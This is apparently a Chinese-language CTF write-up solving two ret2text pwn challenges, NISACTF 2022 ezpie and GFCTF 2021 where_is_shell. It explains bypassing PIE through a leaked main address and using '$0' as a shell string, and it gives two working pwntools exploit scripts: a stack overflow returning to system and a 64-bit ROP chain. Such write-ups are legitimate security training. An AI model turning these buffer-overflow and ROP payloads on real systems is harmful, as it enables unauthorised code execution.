一些ret2text题目

[NISACTF 2022]ezpie

开启了pie保护,但每次运行程序都会打印出main函数的地址。存在gets函数并且没有开栈保护,考虑栈溢出

虽然每次地址都会重新加载,但是system函数和main函数之间的偏移是不会改变的,因此先计算出偏移,再根据给次给出的main的基地址就可以算出真实的system的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context(log_level='debug',arch='i386',os='linux')

#io=process('./pwn')

io=remote('node5.anna.nssctf.cn',28270)
offset=0x28+0x4

main_addr=0x770
system_addr=0x80f
real_offset=system_addr-main_addr

io.recvuntil("gift!\n")
real_main=int(io.recv(10),16)
#print(real_main)
real_system=real_main+real_offset
payload=b'a'*offset+p32(real_system)
io.sendline(payload)
io.recv()
io.interactive()

[GFCTF 2021]where_is_shell

image-20240124104257367

栈溢出,但是没有/bin/sh,其实可以考虑栈迁移写入,但是还没学那么深,这里明确一个小tips:

$0也可以当做/bin/sh使用,$0的机械码正好对应题目中tips的 \x24\x30

image-20240124104455815

从地址0x400541开始

64位注意传参的顺序及优先写入的寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context(log_level='debug',arch='i386',os='linux')

io=process('./shell')
elf=ELF('./shell')
#io=remote('node5.anna.nssctf.cn',28270)
offset=0x10+0x8
sys_addr=elf.sym['system']
binsh_addr=0x400541
ret=0x0000000000400416
pop_rdi_ret=0x00000000004005e3
payload=b'a'*offset+p64(ret)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(sys_addr)

io.sendline(payload)
io.interactive()